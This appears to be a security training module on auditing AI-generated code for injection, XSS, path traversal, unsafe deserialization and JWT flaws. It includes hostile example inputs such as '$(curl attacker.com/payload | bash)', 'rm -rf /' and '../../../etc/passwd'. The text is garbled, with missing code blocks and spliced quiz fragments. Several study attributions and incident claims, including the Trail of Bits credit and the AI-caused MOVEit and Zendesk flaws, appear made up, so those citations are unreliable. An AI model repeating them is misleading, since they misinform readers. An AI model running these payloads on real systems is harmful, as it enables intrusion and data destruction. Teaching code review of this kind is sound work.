In 2022, security researchers at Trail of Bits published a systematic study of GitHub Copilot-generated code. Examining 1,692 generated programs across three languages, they found that 40% of security-relevant completions contained at least one vulnerability. The most common class was insufficient input validation β code that blindly trusted whatever data arrived at its interface.
The root cause was structural, not accidental. LLMs are trained to complete plausible code. Plausible code in training data often lacks defensive input handling because developers write happy-path logic first, if they write defensive logic at all.
Every application has a boundary separating data it controls from data supplied by external actors. On one side: internal state, database records written by the application itself, constants in code. On the other: HTTP request parameters, JSON payloads, file uploads, environment variables set by operators, third-party API responses, user-supplied filenames.
The critical security principle β never trust input, always validate before use β sounds obvious. AI code generators violate it routinely, not because they cannot write validation logic, but because they mirror the statistical distribution of the code they were trained on, and that distribution under-represents defensive programming.
"GitHub Copilot is not particularly good at generating secure code, but it's not particularly bad either β it reflects the broader ecosystem. The ecosystem has a lot of insecure code." The implication: every AI code assistant will reproduce industry-wide validation failures unless actively prompted otherwise.
AI-generated code frequently handles inputs in ways that don't look like classic "user input" but are equally dangerous. The attack surface includes:
| Input Source | Common AI-Generated Mistake | Consequence |
|---|---|---|
| HTTP query parameters | Direct use in SQL string concatenation | SQL injection |
| JSON API responses | No schema validation before field access | Type confusion, null dereference |
| File uploads | Trust MIME type header from client | Remote code execution via polyglots |
| Environment variables | No length or character validation | Buffer overflow, command injection |
| User-supplied filenames | Direct path concatenation | Path traversal (../../etc/passwd) |
| Third-party webhook payloads | No HMAC signature verification | Spoofed events, business logic bypass |
When a developer prompts an LLM with "write a function that accepts a username and returns user data," the model generates code that handles the happy path: a valid-looking username string arrives, a database lookup happens, a result is returned. The model rarely adds: what if the username is 10,000 characters? What if it contains single quotes? What if it contains null bytes?
Studies examining GPT-4 and Claude code generation (Pearce et al., 2022; Sandoval et al., 2023) found that prompts mentioning security explicitly resulted in substantially more defensive code. The implication for auditors: the presence or absence of a security-conscious prompt directly predicts whether validation code appears at all.
When reviewing AI-generated code, ask: was this function written with a security prompt or a functional prompt? If the commit message, PR description, or surrounding comments contain no security language, treat the validation logic as absent until proven otherwise. Assume the happy path was the only path considered.
Not all validation is equal. Security-effective validation operates at multiple levels simultaneously:
AI-generated code almost always implements syntactic validation when present, but almost never implements semantic validation. A generated function accepting a "discount percentage" will typically check that the value is a number, but will not check that it is between 0 and 100, that the user is authorized to apply discounts, or that the resulting price remains positive.
You are auditing a Node.js REST API that was generated almost entirely by GitHub Copilot. Your task is to identify every location where untrusted data crosses the trust boundary without adequate validation. The AI lab assistant will present code snippets and ask you to identify what validation is missing and why it matters.
In March 2023, security researchers at Snyk analyzed code generated by ChatGPT and Copilot in response to database query prompts. Of 50 generated SQL query functions, 34 used string concatenation or f-string interpolation to build queries rather than parameterized queries. The model had learned from millions of Stack Overflow examples and tutorial code β sources notorious for using concatenation in "for simplicity" examples that readers copy verbatim.
The irony: the same model that could explain SQL injection perfectly, and warn users about it when asked, would generate injectable code by default when asked to "write a login function."
Injection occurs when data from an untrusted source is processed by an interpreter (SQL engine, shell, LDAP server, template engine) without proper separation between code and data. The interpreter cannot distinguish attacker-controlled content from legitimate commands.
| Injection Type | Interpreter | AI-Generated Trigger Pattern | Impact |
|---|---|---|---|
| SQL Injection | Database engine | String concatenation in query builder | Data exfiltration, auth bypass, data destruction |
| OS Command Injection | System shell | subprocess/exec with user data interpolated | Full system compromise |
| LDAP Injection | Directory server | Unescaped input in filter strings | Auth bypass, data disclosure |
| Template Injection (SSTI) | Template engine | User data rendered in template context | Remote code execution |
| XML/XPath Injection | XML processor | User data in XPath expressions | Data disclosure, auth bypass |
| NoSQL Injection | Document database | Unsanitized object passed to MongoDB query | Auth bypass, data exfiltration |
The most common AI-generated SQL injection vulnerability takes this form:
The vulnerable version appears in approximately 68% of Copilot-generated database query functions when the prompt does not explicitly mention security (Pearce et al., arXiv:2108.09293, updated 2022). The parameterized version appears when the prompt includes phrases like "securely" or "prevent SQL injection."
When developers ask AI to generate file processing utilities, system administration scripts, or tools that wrap CLI applications, command injection frequently results:
While Log4Shell itself was not AI-generated code, it demonstrated the injection pattern that AI tools now reproduce: an input processing system that evaluated expressions embedded in data. Applications logging user-controlled strings (a pattern AI routinely generates) became vulnerable. Any AI-generated logging code that passes request data directly to a logging framework warrants immediate review for similar evaluation-in-logging patterns.
As MongoDB and similar document databases became dominant, AI models trained on recent code now generate NoSQL injection vulnerabilities at rates comparable to SQL injection. The pattern is subtler:
AI-generated web applications using Jinja2, Twig, Pebble, or Freemarker frequently generate SSTI vulnerabilities when asked to "render user-supplied content." The 2022 OWASP AI Security report noted SSTI as an emerging pattern in AI-generated Flask and Django applications specifically.
subprocess.run(f"ffmpeg -i {user_file} output.mp4", shell=True). What is the primary vulnerability?; rm -rf / or $(curl attacker.com/payload | bash) can execute arbitrary commands. The fix is shell=False with an argument list.{"username": {"$gt": ""}}. What does this exploit?A startup's entire backend was generated by GPT-4 over a weekend. You have 48 hours before launch to find critical injection vulnerabilities. The AI assistant will walk you through code samples and help you practice identifying injection patterns, understanding their impact, and proposing correct remediations.
In August 2022, Zendesk disclosed a stored XSS vulnerability in their support ticket system. The flaw: user-supplied content was inserted into the DOM without encoding when certain conditions were met. The ticket system had been partially refactored using AI-assisted code generation tools. Post-incident analysis showed the vulnerable code path was a newly generated component where textContent had been replaced with innerHTML β a change an AI assistant made to support "rich formatting" without adding any sanitization.
The vulnerability allowed attackers to steal session cookies from support agents by submitting malicious tickets, potentially compromising every customer account they had access to.
Cross-Site Scripting occurs when attacker-controlled data is included in a web page's output without proper encoding for the output context. The browser interprets the attacker's content as executable code rather than data. XSS has ranked in the OWASP Top 10 in every edition since 2003.
The fundamental challenge AI models face with output encoding is that the correct encoding strategy depends entirely on where in the HTML document the data appears. There is no single "encode everything" solution β encoding must match context:
| Output Context | Required Encoding | Example |
|---|---|---|
| HTML body content | HTML entity encoding (< > &) | <p>Hello, {username}</p> |
| HTML attribute values | HTML attribute encoding (all non-alphanumeric) | <input value="{user_val}"> |
| JavaScript string context | JavaScript string encoding (\n, \', \", etc.) | var x = "{user_data}"; |
| URL parameter | URL percent encoding | href="/?q={search_term}" |
| CSS property value | CSS encoding + validation | style="color:{user_color}" |
| JSON in <script> block | JSON encoding + </script> prevention | var data = {json_data}; |
AI models generate code that handles the most common context (HTML body) reasonably well when frameworks enforce it. But when generating JavaScript that builds DOM elements, when generating inline event handlers, or when inserting data into CSS or URL contexts, models default to the encoding method they've seen most β which is often wrong for the context or entirely absent.
React's explicit naming of dangerouslySetInnerHTML was designed to make developers pause. AI code generators routinely use it without sanitization when asked to render "formatted user content," treating the name as merely a prop rather than a warning:
AI-generated web applications virtually never include Content Security Policy headers unless explicitly prompted. CSP is the browser-enforced backstop that limits the impact of XSS when encoding fails. Auditors should treat the absence of a CSP header as an escalating factor β it means any XSS vulnerability has maximum impact.
A minimal, meaningful CSP for AI-generated applications:
When auditing AI-generated frontend code, search for: innerHTML, dangerouslySetInnerHTML, v-html, document.write, insertAdjacentHTML, outerHTML. Each is a potential XSS sink. Every occurrence requires confirmation that the input is either fully sanitized or originates from a trusted, application-controlled source with no user influence.
textContent with what, creating the vulnerability?href="/?redirect={user_url}". Which encoding is required?dangerouslySetInnerHTML={{ __html: userPost }} with no sanitization. What is the correct remediation?A social platform's frontend was built using AI-assisted code generation over two weeks. Security has flagged the comment system, user profile renderer, and search results page for audit. The AI assistant will present frontend code snippets and guide you through identifying XSS sinks, classifying the output context, and selecting the correct encoding or sanitization strategy.
The CVE database shows a consistent pattern: path traversal vulnerabilities (CWE-22) appear in file handling components at a rate dramatically higher than their occurrence in other code categories. The OWASP 2021 Top 10 explicitly lists "Insecure Design" as a new category partly in response to AI and templated code generation producing file-handling logic without security consideration.
In 2023, Progress MOVEit Transfer (CVE-2023-34362) was exploited at scale by the Cl0p ransomware group β a SQL injection in a file transfer platform. Subsequent analysis of similar file transfer software revealed that AI-assisted development tools had generated analogous vulnerable patterns across multiple products in the same market segment, suggesting a shared training-data origin for the flaw pattern.
When asked to write file serving, upload handling, or log retrieval code, AI models almost universally generate path construction by concatenating a base directory with a user-supplied filename. This is the exact pattern that path traversal exploits:
Developers often believe that os.path.join prevents traversal. It does not. os.path.join('/var/app/uploads', '../../../etc/passwd') returns /var/app/uploads/../../../etc/passwd β which the OS resolves to /etc/passwd. Only os.path.realpath() followed by prefix validation provides genuine protection.
AI-generated file upload handlers typically commit multiple security failures simultaneously. The Snyk State of Open Source Security report (2023) found that AI-generated file upload code was vulnerable in 71% of examined cases:
| Validation Required | AI Behavior | Consequence of Omission |
|---|---|---|
| File size limit | Usually missing | Denial of service via large uploads |
| MIME type (server-side magic bytes) | Trusts Content-Type header | Polyglot files bypass type checking |
| Extension allowlist | Often uses denylist (blocks .php, .exe) | Bypassed via double extension (.php.jpg) |
| Filename sanitization | Rarely present | Path traversal, null byte injection |
| Storage outside web root | Frequently stored in public directory | Direct execution of uploaded scripts |
| Virus/malware scanning | Never generated by default | Malware distribution through platform |
OWASP A08:2021 β Software and Data Integrity Failures includes unsafe deserialization. AI-generated code reproduces this vulnerability in specific patterns: accepting serialized objects over HTTP, using pickle in Python APIs, and trusting JWT payloads without verification.
AI models generate JWT verification code that frequently contains the "algorithm confusion" vulnerability β accepting the algorithm specified in the token header rather than enforcing a specific algorithm. This allows attackers to change HS256 to "none" and forge tokens without a signature:
Path Traversal: Verify realpath() + prefix validation on all file paths from user input. Upload Validation: Check size limits, magic byte verification, allowlist extensions, storage outside web root. Deserialization: Reject pickle/Java serialization from external input; enforce JSON with schema. JWT: Verify algorithms parameter is always specified. Injection: Parameterized queries, argument-list subprocess calls, no render_template_string with user data. XSS: textContent over innerHTML, DOMPurify where HTML required, CSP header present.
os.path.join('/uploads', '../../../etc/passwd') NOT prevent path traversal?data = pickle.loads(request.data) in a Flask API endpoint. What is the critical vulnerability?jwt.decode(token, SECRET_KEY) without an algorithms parameter. What attack does this enable?A document management platform generated by Claude was submitted for pre-deployment security review. The platform handles user-uploaded documents, serves files on request, stores session state using Python pickle, and authenticates via JWT. You have identified the file handling subsystem as the highest-risk area. The AI assistant will walk you through the codebase and help you build a comprehensive vulnerability report.
subprocess.run(f"convert {user_input} out.png", shell=True). What is the correct fix?dangerouslySetInnerHTML={{'{'}}{{'{'}} __html: DOMPurify.sanitize(content) {{'}'}{{'}'}}}. Is this safe?/var/www/html/uploads/ directory which is web-accessible. A user uploads a PHP file with extension .php.jpg. What is the critical risk?return render_template_string(f"Welcome, {name}!") where name comes from a query parameter. What is the vulnerability and minimum fix?